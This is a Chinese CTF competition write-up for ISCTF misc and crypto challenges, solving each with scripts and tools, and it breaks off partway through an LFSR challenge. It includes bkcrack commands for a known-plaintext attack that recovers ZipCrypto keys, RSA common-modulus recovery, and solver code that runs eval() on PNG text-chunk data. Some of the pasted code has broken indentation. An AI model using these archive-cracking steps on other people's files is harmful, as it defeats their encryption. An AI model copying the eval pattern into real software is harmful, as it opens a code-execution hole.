ISCTF{sabfndhjkashgfyiasdgfyusdguyfbknncxzbnj}

小蓝鲨的千层FLAG

Title

出题人:G3rling
院校:重庆工商大学
难度:困难
题目描述:
"如果你愿一层一层一层地剥开我的 Zip 你会发现,你会流泪—— 埋在最深处 8+4 的真正奥秘……"
hint:可参考资料:https://www.freebuf.com/articles/network/255145.html

Idea
打开附件有一个加密的压缩包和一个readme.md
readme.md说的是一个压缩包解密的一个姿态,也就是ZIP已知明文攻击bkcrack

压缩包的密码在注释中,明显这是一个嵌套的压缩包

写一个脚本进行解压

import zipfile  
import os  
import re  
import subprocess  
import glob  
  
current_zip = "flagggg999.zip"  
extract_dir = "extract"  
  
if not os.path.exists(extract_dir):  
    os.makedirs(extract_dir)  
  
while True:  
    print(f"Processing: {current_zip}")  
      
    try:  
        try:  
            zf = zipfile.ZipFile(current_zip)  
            comment = zf.comment.decode('utf-8')  
            zf.close()  
        except Exception as e:  
            print(f"Error reading zip comment: {e}")  
            break  
  
        print(f"Comment: {comment}")  
          
        # Extract password  
        match = re.search(r"The password is ([a-fA-F0-9]+)", comment)  
        if match:  
            password = match.group(1)  
            print(f"Password found: {password}")  
        else:  
            print("No password found in comment. Stopping.")  
            break  
  
        cmd = ["7z", "x", current_zip, f"-p{password}", f"-o{extract_dir}", "-y"]  
        result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)  
          
        if result.returncode != 0:  
            print(f"7z extraction failed: {result.stderr.decode()}")  
            break  
        basename = os.path.basename(current_zip)  
        num_match = re.search(r"flagggg(\d+)\.zip", basename)  
        if num_match:  
            current_num = int(num_match.group(1))  
            next_num = current_num - 1  
            next_zip_name = f"flagggg{next_num}.zip"  
            next_zip_path = os.path.join(extract_dir, next_zip_name)  
              
            if os.path.exists(next_zip_path):  
                if extract_dir in current_zip:  
                    os.remove(current_zip)  
                  
                current_zip = next_zip_path  
            else:  
                print(f"Next zip file {next_zip_name} not found.")  
                files = os.listdir(extract_dir)  
                print(f"Files in {extract_dir}: {files}")  
                break  
        else:  
            print("Filename pattern mismatch.")  
            break  
            except Exception as e:  
        print(f"An error occurred: {e}")  
        break

解压到flagggg3.zip就暂停了

flagggg3.zip 的注释为:

The password is... wait, I forgot! But you must know what's inside, right?

根据前面压缩包的命名规律,我们知道flagggg3.zip 包含 flagggg2.zipflagggg2.zip 应该包含 flagggg1.zip
zip文件的文件头是固定的,且文件名也是已知的。
我们可以利用 flagggg2.zip 内部包含的 flagggg1.zip 的文件头作为明文进行攻击
密文文件:flagggg3.zip
密文内部的文件:flagggg2.zip 
明文内容: flagggg1.zip 的Local File Header的一部分
zip文件的Local File Header中,文件名通常从偏移量 30 开始,flagggg1.zip 的十六进制编码为 666c6167676767312e7a6970
使用 bkcrack 进行攻击:

./bkcrack -C flagggg3.zip -c flagggg2.zip -x 30 666c6167676767312e7a6970


成功获取内部密钥:

Keys: ae0c4b27 66c21cba b9a7958f

利用获取的密钥解密 flagggg2.zip

./bkcrack -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f -d flagggg2.zip


打开压缩包找到flagggg.txt

ISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}

ez_disk

Title

出题人:n1tro  
院校:山东政法学院  
难度:中等
题目描述:xx警方在翻斗小区抓捕了嫌疑人,并扣押了电脑里一个奇怪的虚拟磁盘,里面藏了犯罪嫌疑人的奇妙资料,运用所学尝试破解吧。
hint:蓝鲨警局的阿sir说提取检材时末尾好像多了点东西

Idea
附件是一个vmdk文件,火眼挂载起来发现有3.97G未分配簇,然后看不见其他任何东西,可能东西被嫌疑人删除了]]

打开DiskGenius,挂载vmdk虚拟磁盘,发现一个RAR压缩包

将压缩包导出,发现需要密码,尝试爆破无果

在文件末尾发现一个jpg文件头

往上翻,发现一句话

all these bytes below must be useful
#以下的所有字节都有用


将以下的字节进行倒叙,保存为jpg图片

汉字使用utf-8编码查看更为明显

将这段汉字的内容单独提取出来

存在零宽隐写

解密得到密钥this_p@ssw0rd_tha7_9ou_caN_n0t _brut3_Forc3_hhhhhhhhhhhhhhaHaa_no0b
解压压缩包拿到flag

ISCTF{320303e2-5c6a-489a-bcd3-e96a69a3eefc}

Image_is_all_you_need

Title

出题人:ink
院校:福建林学院
难度:中等
题目描述:
你需要懂点AI和密码学

Idea
准备环境:

python3 -m pip install torch torchvision pypng reedsolo pillow numpy

一道基于神经网络的AI题目

对附件进行分析:

  • Steg文件夹是一个基于神经网络的隐写工具,以及权重文件 misuha.taki。实现了一个可逆结构的隐写神经网络,main.py 的 encode(cover, text) 把文本嵌入图片生成secret.png。模型的块是可逆设计(INV_block),可以推导出逆变换用于提取 payload。
  • 若干png图片是基于秘密共享分割出的若干 share。
  • share_secret.py用于把 secret.png 分成若干份 share 并把额外信息写入 PNG 的 tEXt chunk。实现了一种对图像做分片的秘密共享(以像素为单位、域为 257),并把某些特殊像素位置(像素值 256)索引写入 PNG 的 tEXt chunk。

share_secret.py:

import time  
import numpy as np  
import png  
import os  
import math  
from PIL import Image  
from Crypto.Util.number import *  
  
def preprocessing(path):  
    img = Image.open(path)          
    data = np.asarray(img)           
    return data.flatten(), data.shape   
  
def insert_text_chunk(src_png, dst_png, text):  
    reader = png.Reader(filename=src_png)       
    chunks = reader.chunks()                     
    chunk_list = list(chunks)                    
    chunk_item = tuple([b'tEXt', text])          
  
    index = 1                                 
chunk_list.insert(index, chunk_item)     
  
    with open(dst_png, 'wb') as dst_file:        
        png.write_chunks(dst_file, chunk_list)  
  
def read_text_chunk(src_png, index=1):  
    reader = png.Reader(filename=src_png)      
    chunks = reader.chunks()                   
    chunk_list = list(chunks)                  
    img_extra = chunk_list[index][1].decode()   
    img_extra = eval(img_extra)             
    return img_extra                        
  
def polynomial(img, n, r):  
    num_pixels = img.shape[0]                    
    coefficients = np.random.randint(low=0, high=257, size=(num_pixels, r - 1))   
    secret_imgs = []                            
    imgs_extra = []                               
    for i in range(1, n + 1):                   
        base = np.array([i ** j for j in range(1, r)])   
        base = np.matmul(coefficients, base)      
  
        secret_img = (img + base) % 257           
        indices = np.where(secret_img == 256)[0]   
        img_extra = indices.tolist()              
        secret_img[indices] = 0                   
        secret_imgs.append(secret_img)            
        imgs_extra.append(img_extra)            
    return np.array(secret_imgs), imgs_extra      
  
def format_size(size_bytes):  
    if size_bytes == 0:  
        return "0B"  
    size_names = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")   
    i = int(math.floor(math.log(size_bytes, 1024)))   
    p = math.pow(1024, i)                             
    s = round(size_bytes / p, 2)                       
    return f"{s} {size_names[i]}"                      
def get_file_size(file_path):  
    try:  
        size = os.path.getsize(file_path)     
        return format_size(size)              
    except OSError as e:  
        return f"Error: {e}"                 
def main():  
  
    image_path = "secret.png"    
n = 6    
r = ?    
      
    start_time = time.time()  
    print("\n=== Starting image encoding process ===")  
  
    if r > n:  
        print("Error: Threshold 'r' cannot be greater than the total number 'n' of shares")  
        return  
  
    img_flattened, shape = preprocessing(image_path)   
    secret_imgs, imgs_extra = polynomial(img_flattened, n=n, r=r)   
    to_save = secret_imgs.reshape(n, *shape)  
      
    for i, img in enumerate(to_save):         
        secret_img_path = f"secret_{i + 1}.png"  
        Image.fromarray(img.astype(np.uint8)).save(secret_img_path)   
        img_extra = str(list((imgs_extra[i]))).encode()   
        insert_text_chunk(secret_img_path, secret_img_path, img_extra)   
        size = get_file_size(secret_img_path)   
        print(f"{secret_img_path} saved.", size)  
  
    end_time = time.time()  
    print("=== Image encoding completed. Time elapsed: {:.2f} seconds ===".format(end_time - start_time))  
  
if __name__ == "__main__":  
    main()

share_secret.py

  • 对图像扁平化后,每个像素被当作一个 secret。脚本为每个像素生成多项式的评估值(shares),计算在模 257 上。
  • 由于模 257 的范围是 0..256,若某个 share 的像素值等于 256,脚本会把该像素位置的索引加入 imgs_extra,然后把 secret_img[indices] 置为 0(为了能以 uint8 形式保存为 PNG);imgs_extra 被写入 PNG 的 tEXt chunk。
  • 因此每个 secret_i.png 的真实 share 值需要同时读取像素本体和 tEXt chunk(把对应索引的位置复原为 256)。

shares恢复:
根据share_secret.py,我们可以分两步进行逆向操作找出flag:

  • 读取 secret_*.png 文件的像素与 tEXt chunk,把每个 share 恢复为真实值(还原 256),再在模 257 域上对像素并行做 Lagrange 插值(以阈值 r 为 2..6 试探)恢复出候选 secret.png
  • 利用 Steg 中的模型权重并实现每个 INV_block 的逆推理(代数逆),对恢复出的 secret.png 做 DWT -> 构造缺失部分为 0 -> model.inverse -> IWT,得到 payload 比特流,解码出 flag(bits -> bytearray -> RS 解码 -> zlib 解压 -> utf-8 文本)。
    恢复 share 时需要读取并合并两个来源的数据(像素数组 + tEXt)。
  • 读取 secret_*.png:用 Pillow 读取像素并扁平化为 1D 数组(int),同时用自定义的 PNG chunk 读取函数读取 tEXt chunk 并 eval 解出索引列表(写入时是 str(list(...)).encode()`),然后把相应索引的像素值设回 256。
  • Lagrange 插值(模 257):对每个像素位置并行使用 Lagrange,在模 p=257 上计算 f(0)。公式:

\[f(0) = \sum_{i=1}^{k} y_i * Π_{j \ne i} (0 - x_j) * inv(Π_{j \ne i} (x_i - x_j)) (mod 257) \]

分母需要取模逆(使用 pow(den, -1, 257))。

  • 尝试不同阈值 r(2..6):share_secret.py 中 n=6r 未指定。对 r 从 2 到 6 遍历,

Steg/分析:

  • 在 main.py 中,嵌入流程:
    • 读取 cover,做 DWT(DWT())得到 cover_input
    • make_payload(W,H,C,text,B) 把文本转成 payload tensor 并做 DWT 得到 payload_input
    • input_img = torch.cat([cover_input, payload_input], dim=1) 送入网络 simple_net
    • 输出 output,取前 4 * 3 channels(对应输出的一半)做 IWT 得到 secret.png
  • 网络采用可逆块 INV_block 组成。INV_block 的前向实现为:
    • 拆分输入为 x1, x2;计算 t2 = f(x2)y1 = x1 + t2s1 = r(y1)t1 = y(y1)y2 = e(s1) * x2 + t1;输出 cat(y1, y2)
    • 因为表达式明确,可以代数解出逆变换:先由 s1 = r(y1) 和 t1 = y(y1) 计算 e(s1),再 x2 = (y2 - t1) / e(s1),然后 x1 = y1 - f(x2)

exp
sharing.py:

import os  
import struct  
import numpy as np  
from PIL import Image  
  
  
def read_png_chunks(filename):  
    with open(filename, 'rb') as f:  
        signature = f.read(8)  
        if signature != b'\x89PNG\r\n\x1a\n':  
            raise ValueError("Not a PNG file")  
  
        chunks = []  
        while True:  
            try:  
                length_bytes = f.read(4)  
                if len(length_bytes) < 4:  
                    break  
                length = struct.unpack('>I', length_bytes)[0]  
                chunk_type = f.read(4)  
                chunk_data = f.read(length)  
                crc = f.read(4)  
                chunks.append((chunk_type, chunk_data))  
                if chunk_type == b'IEND':  
                    break  
            except Exception as e:  
                break  
    return chunks  
  
  
def get_extra_data(filename):  
    chunks = read_png_chunks(filename)  
    for chunk_type, chunk_data in chunks:  
        if chunk_type == b'tEXt':  
            try:  
                return eval(chunk_data.decode('utf-8'))  
            except:  
                pass  
    return []  
  
  
def lagrange_interpolation(x, y, x_s, modulus):  
    k = len(x)  
    num_pixels = y.shape[1]  
  
    result = np.zeros(num_pixels, dtype=np.int64)  
  
    for i in range(k):  
        xi = x[i]  
        yi = y[i]  
  
        numerator = 1  
        denominator = 1  
  
        for j in range(k):  
            if i == j:  
                continue  
            xj = x[j]  
  
            numerator = (numerator * (x_s - xj)) % modulus  
            denominator = (denominator * (xi - xj)) % modulus  
  
        inv_denominator = pow(int(denominator), -1, modulus)  
  
        term = (yi * numerator * inv_denominator) % modulus  
        result = (result + term) % modulus  
  
    return result  
  
  
def solve():  
    shares = []  
    indices = []  
  
    share_data = []  
    share_extras = []  
  
    shape = None  
  
    for i in range(1, 7):  
        filename = f'secret_{i}.png'  
        if not os.path.exists(filename):  
            continue  
  
        img = Image.open(filename)  
        data = np.asarray(img).flatten().astype(np.int64)  
        if shape is None:  
            shape = np.asarray(img).shape  
  
        extra = get_extra_data(filename)  
  
        for idx in extra:  
            data[idx] = 256  
  
        share_data.append(data)  
        share_extras.append(extra)  
        indices.append(i)  
        print(f"Loaded share {i}")  
  
    share_data = np.array(share_data)  
  
    for r in range(2, 7):  
        print(f"Trying r={r}...")  
        current_indices = indices[:r]  
        current_data = share_data[:r]  
  
        recovered = lagrange_interpolation(current_indices, current_data, 0, 257)  
  
        if np.any(recovered == 256):  
            print(f"r={r} produced values == 256, likely incorrect.")  
  
        recovered = recovered.astype(np.uint8)  
        recovered_img = recovered.reshape(shape)  
  
        out_filename = f'recovered_r{r}.png'  
        Image.fromarray(recovered_img).save(out_filename)  
        print(f"Saved {out_filename}")  
  
  
if __name__ == '__main__':  
    solve()

sharing.py:读取 secret_*.png 的像素和 tEXt chunk,复原 256 值并用 Lagrange 插值恢复 recovered_r{r}.png

Steg.py

import sys  
import os  
import torch  
import torch.nn as nn  
import numpy as np  
from PIL import Image  
import torchvision.transforms as T  
  
sys.path.append(os.path.join(os.path.dirname(__file__), 'Steg'))  
  
from model import Model  
from net import simple_net  
from block import INV_block  
import zlib  
from utils import DWT, IWT, bytearray_to_text, bits_to_bytearray, rs  
  
  
def inv_block_inverse(self, x):  
    y1, y2 = (x.narrow(1, 0, self.channels * 4),  
              x.narrow(1, self.channels * 4, self.channels * 4))  
  
    s1, t1 = self.r(y1), self.y(y1)  
    x2 = (y2 - t1) / self.e(s1)  
  
    t2 = self.f(x2)  
    x1 = y1 - t2  
  
    return torch.cat((x1, x2), 1)  
  
  
INV_block.inverse = inv_block_inverse  
  
  
def simple_net_inverse(self, x):  
    out = self.inv8.inverse(x)  
    out = self.inv7.inverse(out)  
    out = self.inv6.inverse(out)  
    out = self.inv5.inverse(out)  
    out = self.inv4.inverse(out)  
    out = self.inv3.inverse(out)  
    out = self.inv2.inverse(out)  
    out = self.inv1.inverse(out)  
    return out  
  
  
simple_net.inverse = simple_net_inverse  
  
  
def model_inverse(self, x):  
    return self.model.inverse(x)  
  
  
Model.inverse = model_inverse  
  
  
def solve():  
    device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")  
    print(f"Using device: {device}")  
  
    model = Model(cuda=torch.cuda.is_available())  
    weight_path = 'Steg/misuha.taki'  
  
    state_dicts = torch.load(weight_path, map_location=device)  
    network_state_dict = {k.replace('model.', ''): v for k, v in state_dicts['net'].items() if 'tmp_var' not in k}  
    model.model.load_state_dict(network_state_dict)  
    model.eval()  
  
    for r in range(2, 7):  
        img_path = f'recovered_r{r}.png'  
        if not os.path.exists(img_path):  
            continue  
  
        print(f"Trying {img_path}...")  
        img = Image.open(img_path).convert('RGB')  
  
        transform = T.Compose([  
            T.ToTensor(),  
        ])  
        img_tensor = transform(img).unsqueeze(0).to(device)  
  
        dwt = DWT()  
        iwt = IWT()  
  
        y1 = dwt(img_tensor)  
        y2 = torch.zeros_like(y1).to(device)  
  
        inp = torch.cat((y1, y2), 1)  
  
        with torch.no_grad():  
            out = model.inverse(inp)  
  
        payload_dwt = out.narrow(1, 12, 12)  
        payload_img = iwt(payload_dwt)  
  
        payload_np = payload_img.cpu().numpy().flatten()  
        bits = (payload_np > 0.5).astype(int).tolist()  
  
        byte_arr = bits_to_bytearray(bits)  
        print(f"First 20 bytes: {list(byte_arr[:20])}")  
  
        found = False  
        for length in range(130, 2000):  
            try:  
                chunk = byte_arr[:length]  
                decoded = rs.decode(chunk)  
                dec_text = zlib.decompress(decoded[0])  
                print(f"SUCCESS with r={r}, len={length}: {dec_text.decode('utf-8')}")  
                found = True  
                break            
            except:  
                pass  
  
        if found:  
            break  
        else:  
            print(f"Failed with r={r}")  
  
  
if __name__ == '__main__':  
    solve()

为 INV_block 实现 inverse,为 simple_net 实现 inverse,加载权重 Steg/misuha.taki,对 recovered_r{r}.png 做逆推并解码出文本。
r=3时解出flag

ISCTF{Sh4r3_S3reCTTt_wiTh_Ai_H@@@@}

小蓝鲨的周年庆礼物

Title

出题人: n1tro
院校:山东政法学院
难度:中等
题目描述:
今年是ISCTF的五周年啦,小蓝鲨给大伙准备了点小礼物,但拿礼物前需要动动脑筋先,你能拿到这份惊喜吗?

Idea
附件有一张png图片和一个没有后缀名的文件

这里没有flag文件进行分析

没有什么规律,尝试xor也没发现有用的信息
在取证比赛中,根据附件的分配,可以使用VC对这里没有flag文件进行挂载,使用nothing is here.png作为密钥文件进行加载

有一个flag.txt,存在零宽字符隐写,进行解密

ISCTF{VC_15_s0OO0O0O_1n73r3571n6!!}
exp

爱玩游戏的小蓝鲨

Title

出题人:落书
院校:平顶山学院
难度:中等
题目描述:
小蓝鲨说 它将永远追随刻律德菈
hint:换行也应该带个下划线,刻律德拉是凯撒但这里不是凯撒。

Idea
直接打开附件会报错

010Editor打开附件,缺失zip文件头,补全文件头50 4B 03 04


打开附件一个py文件,内容是图片的RGB数据

RGB转图片

将图片旋转

题目描述中提到的刻律德菈属于崩坏:星穹铁道的角色
前往米哈游(前面的py文件也提到了米哈游)

发现这个原创架空文字,密文对照表,与我们需要的解密的密文很像,又好像不太对
还需要对密文图片进行镜像翻转

解出密文:

QKEMK
al4t_k4nT_au
Mm3_U0Kv_yzV
94e3_kg_yp3_O0teI

QKEMK{al4t_k4nT_au_Mm3_U0Kv_yzV_94e3_kg_yp3_O0teI}

flag头对应ISCTF
维吉尼亚解密,key:ISCTF

ISCTF{st4r_r4iL_is_Th3_M0St_fuN_94m3_in_th3_W0rlD}

小蓝鲨的二维码

Title

出题人:Alexander
院校:江西警察学院
难度:中等
题目描述:
小蓝鲨说真正的图像算法在于理解它的深层含义

Idea
附件有两张图片

扫一下二维码

一个假flag(T-T...
在enc.png文件末尾发现有一个字符串23xXvfzai

base58解密,得到zigzag,zigzag是按 “之” 字形(锯齿形)路径重新排列 / 遍历数据的算法常用于图像处理、矩阵遍历等

将enc.png把线性读取的像素按 Zigzag 写回 2D

import numpy as np  
from PIL import Image  
  
  
def get_zigzag_coords(n):  
    coords = []  
    for i in range(2 * n - 1):  
        if i % 2 == 0:  
            x = i if i < n else n - 1  
            y = 0 if i < n else i - n + 1  
            while x >= 0 and y < n:  
                coords.append((x, y))  
                x -= 1  
                y += 1  
        else:  
            x = 0 if i < n else i - n + 1  
            y = i if i < n else n - 1  
            while x < n and y >= 0:  
                coords.append((x, y))  
                x += 1  
                y -= 1  
    return coords  
  
  
def solve():  
    img = Image.open("enc.png")  
    width, height = img.size  
  
    n = width  
    pixels = np.array(img)  
    flat_pixels = pixels.reshape(-1, 3)  
  
    coords = get_zigzag_coords(n)  
  
    new_img1 = np.zeros_like(pixels)  
    for i, (r, c) in enumerate(coords):  
        if i < len(flat_pixels):  
            new_img1[r, c] = flat_pixels[i]  
  
    Image.fromarray(new_img1).save("enc_zigzag.png")  
    print("Saved enc_zigzag.png")  
  
  
if __name__ == "__main__":  
    solve()

将enc.png恢复成二维码

将恢复后的二维码图片与flag.png进行双兔异或xor,补全定位角

补全定位角

ISCTF{fbf1a6d6-95e4-4a1c-95fd-7d2f03a16b20}

crypto

Power tower

Title

出题人:yskm
院校:浙江工商职业技术学院
难度:简单
题目描述:你知道拓展欧拉定理吗

Idea
题目:

from Crypto.Util.number import *  
import random  
from numpy import number  
  
m = b'ISCTF{****************}'  
flag = bytes_to_long(m)  
n = getPrime(256)  
t = getPrime(63)  
l = pow(2,pow(2,t),n)  
c = flag ^ l  
print(t)  
print(n)  
print(c)  
  
  
'''  
t = 6039738711082505929  
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617  
c = 114092817888610184061306568177474033648737936326143099257250807529088213565247  
'''

题目核心:
给定大整数参数 (t, n, c),加密方式是:

\[l = 2^{2^t} \bmod n,\quad c = \text{flag} \oplus l \]

\[c=flag⊕l⟹flag=c⊕l \]

这里n能直接分解


n = 127 * 841705194007 * 1005672644717572752052474808610481144121914956393489966622615553

n分解了这题也就没什么难度了
exp

from Crypto.Util.number import long_to_bytes

t = 6039738711082505929
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
c = 114092817888610184061306568177474033648737936326143099257250807529088213565247

  
p = 127
q = 841705194007
r = 1005672644717572752052474808610481144121914956393489966622615553
phi_n = (p - 1) * (q - 1) * (r - 1)
  
exponent = pow(2, t, phi_n)
l = pow(2, exponent, n)
flag = long_to_bytes(c ^ l)
  
print(flag)
  
#ISCTF{Euler_1s_v3ry|useful!!!!!}

easy_RSA

Title

出题人: yskm
院校:浙江工商职业技术学院
难度:简单
题目描述:我们的爱情像欧拉函数φ(n)——无限趋近却永远达不到n的完美互质,最终只剩周期性的怀念在模n的世界里循环证明

Idea

from Crypto.Util.number import *  
  
p = getPrime(1024)  
q = getPrime(1024)  
N = p*q  
e = 65537  
msg = bytes_to_long(b"ISCTF{dummy_flag}")  
ct1 = pow(msg, e, N)  
ct2 = pow(msg, p+q, N)  
print(f"{N = }")  
print(f"{ct1 = }")  
print(f"{ct2 = }")  
  
"""  
N = 17630258257080557797062320474423515967705950026415012912087655679315479168903980901728425140787005046038000068414269936806478828260848859753400786557270120330760791255046985114127285672634413513991988895166115794242018674042563788348381567565190146278040811257757119090296478610798393944581870309373529884950663990485525646200034220648901490835962964029936321155200390798215987316069871958913773199197073860062515329879288106446016695204426001393566351524023857332978260894409698596465474214898402707157933326431896629025197964209580991821222557663589475589423032130993456522178540455360695933336455068507071827928617  
ct1 = 5961639119243884817956362325106436035547108981120248145301572089585639543543496627985540773185452108709958107818159430835510386993354596106366458898765597405461225798615020342640056386757104855709899089816838805631480329264128349465229327090721088394549641366346516133008681155817222994359616737681983784274513555455340301061302815102944083173679173923728968671113926376296481298323500774419099682647601977970777260084799036306508597807029122276595080580483336115458713338522372181732208078117809553781889555191883178157241590455408910096212697893247529197116309329028589569527960811338838624831855672463438531266455  
ct2 = 11792054298654397865983651507912282632831471680334312509918945120797862876661899077559686851237832931501121869814783150387308320349940383857026679141830402807715397332316601439614741315278033853646418275632174160816784618982743834204997402866931295619202826633629690164429512723957241072421663170829944076753483616865208617479794763412611604625495201470161813033934476868949612651276104339747165276204945125001274777134529491152840672010010940034503257315555511274325831684793040209224816879778725612468542758777428888563266233284958660088175139114166433501743740034567850893745466521144371670962121062992082312948789  
"""

两个密文:
\(ct_1\):使用标准 RSA 加密,\(ct_1 \equiv m^e \pmod N\)
\(ct_2\):使用非常规指数 \(p+q\) 进行加密,\(ct_2 \equiv m^{p+q} \pmod N\)

  • 提供了 \(N, ct_1, ct_2\) 的数值。
  • 由于 \(N\) 非常大(2048位),无法直接分解 \(N\) 得到 \(p\)\(q\),因此无法直接计算 \(\phi(N)\)
  • 需要利用题目给出的密文 \(ct_2\) 来绕过因数分解
    我们已知第二个加密关系式:

\[ct_2 \equiv m^{p+q} \pmod N \]

根据欧拉函数 \(\phi(N)\) 的定义:

\[\phi(N) = (p-1)(q-1) = pq - (p+q) + 1 \]

\[\phi(N) = N - (p+q) + 1 \]

\[p+q = N + 1 - \phi(N) \]

将这个关系代入 \(ct_2\) 的表达式:

\[ct_2 \equiv m^{N + 1 - \phi(N)} \pmod N \]

\[ct_2 \equiv m^{N+1} \cdot m^{-\phi(N)} \pmod N \]

根据欧拉定理,若 \(\gcd(m, N) = 1\),则:

\[m^{\phi(N)} \equiv 1 \pmod N \]

因此,\(m^{-\phi(N)}\) 也是 \(1\)。原式化简为:

\[ct_2 \equiv m^{N+1} \pmod N \]

经过上述推导,问题可转化为拥有同一明文 \(m\)、同一模数 \(N\) 的两组密文:

  1. \(ct_1 \equiv m^{e_1} \pmod N\),其中 \(e_1 = 65537\)
  2. \(ct_2 \equiv m^{e_2} \pmod N\),其中 \(e_2 = N + 1\)

这就变成了一个经典的共模攻击。只要 \(\gcd(e_1, e_2) = 1\),通过扩展欧几里得算法,找到两个整数 \(s_1\)\(s_2\),满足:

\[s_1 e_1 + s_2 e_2 = 1 \]

利用指数运算规则:

\[ct_1^{s_1} \cdot ct_2^{s_2} \equiv (m^{e_1})^{s_1} \cdot (m^{e_2})^{s_2} \pmod N \]

\[\equiv m^{s_1 e_1 + s_2 e_2} \pmod N \]

\[\equiv m^1 \pmod N \]

\[\equiv m \pmod N \]

从而直接解出明文 \(m\)
exp

from Crypto.Util.number import *
import gmpy2

N = 17630258257080557797062320474423515967705950026415012912087655679315479168903980901728425140787005046038000068414269936806478828260848859753400786557270120330760791255046985114127285672634413513991988895166115794242018674042563788348381567565190146278040811257757119090296478610798393944581870309373529884950663990485525646200034220648901490835962964029936321155200390798215987316069871958913773199197073860062515329879288106446016695204426001393566351524023857332978260894409698596465474214898402707157933326431896629025197964209580991821222557663589475589423032130993456522178540455360695933336455068507071827928617
ct1 = 5961639119243884817956362325106436035547108981120248145301572089585639543543496627985540773185452108709958107818159430835510386993354596106366458898765597405461225798615020342640056386757104855709899089816838805631480329264128349465229327090721088394549641366346516133008681155817222994359616737681983784274513555455340301061302815102944083173679173923728968671113926376296481298323500774419099682647601977970777260084799036306508597807029122276595080580483336115458713338522372181732208078117809553781889555191883178157241590455408910096212697893247529197116309329028589569527960811338838624831855672463438531266455
ct2 = 11792054298654397865983651507912282632831471680334312509918945120797862876661899077559686851237832931501121869814783150387308320349940383857026679141830402807715397332316601439614741315278033853646418275632174160816784618982743834204997402866931295619202826633629690164429512723957241072421663170829944076753483616865208617479794763412611604625495201470161813033934476868949612651276104339747165276204945125001274777134529491152840672010010940034503257315555511274325831684793040209224816879778725612468542758777428888563266233284958660088175139114166433501743740034567850893745466521144371670962121062992082312948789

e1 = 65537
e2 = N + 1

g, s1, s2 = gmpy2.gcdext(e1, e2)
m = (pow(ct1, s1, N) * pow(ct2, s2, N)) % N

flag = long_to_bytes(m)
print(flag.decode())

#ISCTF{Congratulations_you_master_Mathematical_ability}

小蓝鲨的LFSR系统

Title

出题人:落书
院校:平顶山学院
难度:简单
题目描述:"小蓝鲨是海洋情报局的新晋密码专家,它设计了一个基于LFSR的流密码系统来加密机密信息。这个系统看起来简单高效,但小蓝鲨不知道的是,LFSR在某些情况下可能存在安全隐患。 一天,小蓝鲨的加密系统被神秘的黑客组织""深海幽灵""入侵,他们截获了一段加密信息。作为海洋安全部门的成员,你需要分析这个加密系统,找出潜在的弱点,并解密被截获的信息。"

Idea
题目附件:

#task.py
import secrets  
import binascii  
  
def simple_lfsr_encrypt(plaintext, init_state):  
    mask = [random.randint(0,1) for _ in range(128)]  
      
    state = init_state.copy()  
    for _ in range(256):  
        feedback = sum(state[i] & mask[i] for i in range(128)) % 2  
        state.append(feedback)  
      
    key = bytes(int(''.join(str(bit) for bit in mask[i*8:(i+1)*8]), 2)   
               for i in range(16))  
      
    keystream = (key * (len(plaintext)//16 + 1))[:len(plaintext)]  
    return bytes(p ^ k for p, k in zip(plaintext, keystream)), mask
    
#challenge_output.txt
initState = [0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0]
outputState = [0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1]
ciphertext = '4b3be165a0a0edd67ca8f143884826725107fd42d6a6'

分析附件:

def simple_lfsr_encrypt(plaintext, init_state):
    mask = [random.randint(0,1) for _ in range(128)]
    # 1. 生成一个随机的 128位 Mask(这是我们需要求解的密钥)
    
    state = init_state.copy()
    # 2. 进行了 256 次 LFSR 迭代
    for _ in range(256):
        # 反馈函数:State 与 Mask 进行点积,模 2(其实就是异或和)
        feedback = sum(state[i] & mask[i] for i in range(128)) % 2
        state.append(feedback)
    
    # 3. 生成加密密钥
    # 注意:这里的 Key 并不是 LFSR 的输出流,而是直接由 Mask 转换成的字节!
    key = bytes(int(''.join(str(bit) for bit in mask[i*8:(i+1)*8]), 2) 
               for i in range(16))
    
    # 4. 异或加密
